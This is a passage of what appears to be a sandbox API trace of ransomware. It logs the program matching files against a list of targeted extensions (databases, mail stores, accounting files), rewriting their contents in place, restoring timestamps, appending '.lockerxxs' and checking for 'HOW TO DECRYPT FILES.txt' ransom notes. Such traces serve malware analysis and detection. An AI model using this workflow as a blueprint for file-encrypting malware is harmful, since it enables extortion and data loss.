pszSpec="*.mye") returned 0 [0129.457] lstrlenA (lpString="*.mye") returned 5 [0129.457] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.mbox") returned 0 [0129.457] lstrlenA (lpString="*.mbox") returned 6 [0129.457] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.eml") returned 0 [0129.457] lstrlenA (lpString="*.eml") returned 5 [0129.457] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.pst") returned 0 [0129.457] lstrlenA (lpString="*.pst") returned 5 [0129.457] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.ost") returned 0 [0129.457] lstrlenA (lpString="*.ost") returned 5 [0129.457] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.idx") returned 0 [0129.457] lstrlenA (lpString="*.idx") returned 5 [0129.457] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.dbx") returned 0 [0129.457] lstrlenA (lpString="*.dbx") returned 5 [0129.458] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.sql") returned 0 [0129.458] lstrlenA (lpString="*.sql") returned 5 [0129.458] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.mdb") returned 0 [0129.458] lstrlenA (lpString="*.mdb") returned 5 [0129.458] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.fdb") returned 0 [0129.458] lstrlenA (lpString="*.fdb") returned 5 [0129.458] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.wab") returned 0 [0129.458] lstrlenA (lpString="*.wab") returned 5 [0129.458] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.dat") returned 1 [0129.458] lstrlenA (lpString="*.dat") returned 5 [0129.458] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat" [0129.458] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat" [0129.458] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", lpString2="." | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat.") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat." [0129.458] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat.lockerxxs") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat.lockerxxs" [0129.458] CreateFileA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfd.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0129.459] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7b3c [0129.459] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9616bc6c, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0x9616bc6c, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0x7d218663, dwHighDateTime=0x1ca041e)) returned 1 [0129.459] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.459] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7b16, lpOverlapped=0x0) returned 1 [0129.463] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat") returned="perfd.dat" [0129.463] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.463] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7b16, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7b16, lpOverlapped=0x0) returned 1 [0129.528] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0129.528] CloseHandle (hObject=0x8c) returned 1 [0129.528] MoveFileA (lpExistingFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfd.dat"), lpNewFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat.lockerxxs" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfd.dat.lockerxxs")) returned 1 [0129.533] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9616bc6c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9616bc6c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7de978e7, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x471de, dwReserved0=0x4e0204, dwReserved1=0x4e0000, cFileName="perfh.dat", cAlternateFileName="")) returned 1 [0129.533] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0129.533] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="perfh.dat") returned -1 [0129.533] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="perfh.dat") returned -1 [0129.533] lstrcmpiA (lpString1="", lpString2="perfh.dat") returned -1 [0129.533] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat") returned="perfd.dat" [0129.534] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\PERFLIB\\0000\\" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\") returned="C:\\Windows\\inf\\PERFLIB\\0000\\" [0129.534] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\" | out: pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\") returned="" [0129.534] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\PERFLIB\\0000\\HOW TO DECRYPT FILES.txt" [0129.534] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\perflib\\0000\\how to decrypt files.txt")) returned 0x20 [0129.534] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\", lpString2="perfh.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat" [0129.534] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.ems") returned 0 [0129.534] lstrlenA (lpString="*.ems") returned 5 [0129.534] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.db") returned 0 [0129.534] lstrlenA (lpString="*.db") returned 4 [0129.534] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.dbf") returned 0 [0129.534] lstrlenA (lpString="*.dbf") returned 5 [0129.534] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.myox") returned 0 [0129.534] lstrlenA (lpString="*.myox") returned 6 [0129.534] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.myo") returned 0 [0129.534] lstrlenA (lpString="*.myo") returned 5 [0129.535] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.qbw") returned 0 [0129.535] lstrlenA (lpString="*.qbw") returned 5 [0129.535] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.qbb") returned 0 [0129.535] lstrlenA (lpString="*.qbb") returned 5 [0129.535] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.qbm") returned 0 [0129.535] lstrlenA (lpString="*.qbm") returned 5 [0129.535] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.qbo") returned 0 [0129.535] lstrlenA (lpString="*.qbo") returned 5 [0129.535] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.qbx") returned 0 [0129.535] lstrlenA (lpString="*.qbx") returned 5 [0129.535] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.qba") returned 0 [0129.535] lstrlenA (lpString="*.qba") returned 5 [0129.535] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.qby") returned 0 [0129.535] lstrlenA (lpString="*.qby") returned 5 [0129.535] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.qbj") returned 0 [0129.535] lstrlenA (lpString="*.qbj") returned 5 [0129.535] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.ofx") returned 0 [0129.535] lstrlenA (lpString="*.ofx") returned 5 [0129.535] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.qif") returned 0 [0129.535] lstrlenA (lpString="*.qif") returned 5 [0129.536] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.mye") returned 0 [0129.536] lstrlenA (lpString="*.mye") returned 5 [0129.536] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.mbox") returned 0 [0129.536] lstrlenA (lpString="*.mbox") returned 6 [0129.536] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.eml") returned 0 [0129.536] lstrlenA (lpString="*.eml") returned 5 [0129.536] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.pst") returned 0 [0129.536] lstrlenA (lpString="*.pst") returned 5 [0129.536] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.ost") returned 0 [0129.536] lstrlenA (lpString="*.ost") returned 5 [0129.536] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.idx") returned 0 [0129.536] lstrlenA (lpString="*.idx") returned 5 [0129.536] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.dbx") returned 0 [0129.536] lstrlenA (lpString="*.dbx") returned 5 [0129.536] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.sql") returned 0 [0129.536] lstrlenA (lpString="*.sql") returned 5 [0129.536] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.mdb") returned 0 [0129.536] lstrlenA (lpString="*.mdb") returned 5 [0129.536] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.fdb") returned 0 [0129.537] lstrlenA (lpString="*.fdb") returned 5 [0129.537] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.wab") returned 0 [0129.537] lstrlenA (lpString="*.wab") returned 5 [0129.537] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", pszSpec="*.dat") returned 1 [0129.537] lstrlenA (lpString="*.dat") returned 5 [0129.537] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat" [0129.537] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat" [0129.537] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat", lpString2="." | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat.") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat." [0129.537] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat.lockerxxs") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat.lockerxxs" [0129.537] CreateFileA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfh.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0129.539] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x471de [0129.539] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9616bc6c, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0x9616bc6c, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0x7de978e7, dwHighDateTime=0x1ca041e)) returned 1 [0129.539] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.539] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x471b8, lpOverlapped=0x0) returned 1 [0129.548] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat") returned="perfh.dat" [0129.550] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.550] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x471b8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x471b8, lpOverlapped=0x0) returned 1 [0129.552] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0129.552] CloseHandle (hObject=0x8c) returned 1 [0129.552] MoveFileA (lpExistingFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfh.dat"), lpNewFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat.lockerxxs" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfh.dat.lockerxxs")) returned 1 [0129.553] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96191dc9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x96191dc9, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7de978e7, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x471de, dwReserved0=0x4e0204, dwReserved1=0x4e0000, cFileName="perfi.dat", cAlternateFileName="")) returned 1 [0129.554] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0129.554] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="perfi.dat") returned -1 [0129.554] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="perfi.dat") returned -1 [0129.554] lstrcmpiA (lpString1="", lpString2="perfi.dat") returned -1 [0129.554] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\perfh.dat") returned="perfh.dat" [0129.554] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\PERFLIB\\0000\\" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\") returned="C:\\Windows\\inf\\PERFLIB\\0000\\" [0129.554] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\" | out: pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\") returned="" [0129.554] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\PERFLIB\\0000\\HOW TO DECRYPT FILES.txt" [0129.554] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\perflib\\0000\\how to decrypt files.txt")) returned 0x20 [0129.554] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\", lpString2="perfi.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat" [0129.554] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.ems") returned 0 [0129.554] lstrlenA (lpString="*.ems") returned 5 [0129.554] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.db") returned 0 [0129.554] lstrlenA (lpString="*.db") returned 4 [0129.554] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.dbf") returned 0 [0129.554] lstrlenA (lpString="*.dbf") returned 5 [0129.555] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.myox") returned 0 [0129.555] lstrlenA (lpString="*.myox") returned 6 [0129.555] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.myo") returned 0 [0129.555] lstrlenA (lpString="*.myo") returned 5 [0129.555] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.qbw") returned 0 [0129.555] lstrlenA (lpString="*.qbw") returned 5 [0129.555] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.qbb") returned 0 [0129.555] lstrlenA (lpString="*.qbb") returned 5 [0129.555] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.qbm") returned 0 [0129.555] lstrlenA (lpString="*.qbm") returned 5 [0129.555] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.qbo") returned 0 [0129.555] lstrlenA (lpString="*.qbo") returned 5 [0129.555] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.qbx") returned 0 [0129.555] lstrlenA (lpString="*.qbx") returned 5 [0129.555] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.qba") returned 0 [0129.555] lstrlenA (lpString="*.qba") returned 5 [0129.555] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.qby") returned 0 [0129.555] lstrlenA (lpString="*.qby") returned 5 [0129.555] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.qbj") returned 0 [0129.556] lstrlenA (lpString="*.qbj") returned 5 [0129.556] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.ofx") returned 0 [0129.556] lstrlenA (lpString="*.ofx") returned 5 [0129.556] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.qif") returned 0 [0129.556] lstrlenA (lpString="*.qif") returned 5 [0129.556] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.mye") returned 0 [0129.556] lstrlenA (lpString="*.mye") returned 5 [0129.556] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.mbox") returned 0 [0129.556] lstrlenA (lpString="*.mbox") returned 6 [0129.556] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.eml") returned 0 [0129.556] lstrlenA (lpString="*.eml") returned 5 [0129.556] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.pst") returned 0 [0129.556] lstrlenA (lpString="*.pst") returned 5 [0129.556] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.ost") returned 0 [0129.556] lstrlenA (lpString="*.ost") returned 5 [0129.556] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.idx") returned 0 [0129.556] lstrlenA (lpString="*.idx") returned 5 [0129.556] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.dbx") returned 0 [0129.556] lstrlenA (lpString="*.dbx") returned 5 [0129.556] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.sql") returned 0 [0129.556] lstrlenA (lpString="*.sql") returned 5 [0129.557] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.mdb") returned 0 [0129.557] lstrlenA (lpString="*.mdb") returned 5 [0129.557] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.fdb") returned 0 [0129.557] lstrlenA (lpString="*.fdb") returned 5 [0129.557] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.wab") returned 0 [0129.557] lstrlenA (lpString="*.wab") returned 5 [0129.557] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", pszSpec="*.dat") returned 1 [0129.557] lstrlenA (lpString="*.dat") returned 5 [0129.557] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat" [0129.557] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat" [0129.557] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat", lpString2="." | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat.") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat." [0129.557] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat.lockerxxs") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat.lockerxxs" [0129.557] CreateFileA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfi.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0129.558] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x471de [0129.558] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x96191dc9, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0x96191dc9, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0x7de978e7, dwHighDateTime=0x1ca041e)) returned 1 [0129.558] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.558] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x471b8, lpOverlapped=0x0) returned 1 [0129.573] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat") returned="perfi.dat" [0129.575] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.575] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x471b8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x471b8, lpOverlapped=0x0) returned 1 [0129.578] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0129.578] CloseHandle (hObject=0x8c) returned 1 [0129.578] MoveFileA (lpExistingFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfi.dat"), lpNewFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfi.dat.lockerxxs" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfi.dat.lockerxxs")) returned 1 [0129.579] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96191dc9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x96191dc9, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7de978e7, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x471de, dwReserved0=0x4e0204, dwReserved1=0x4e0000, cFileName="perfi.dat", cAlternateFileName="")) returned 0 [0129.579] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0129.579] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, 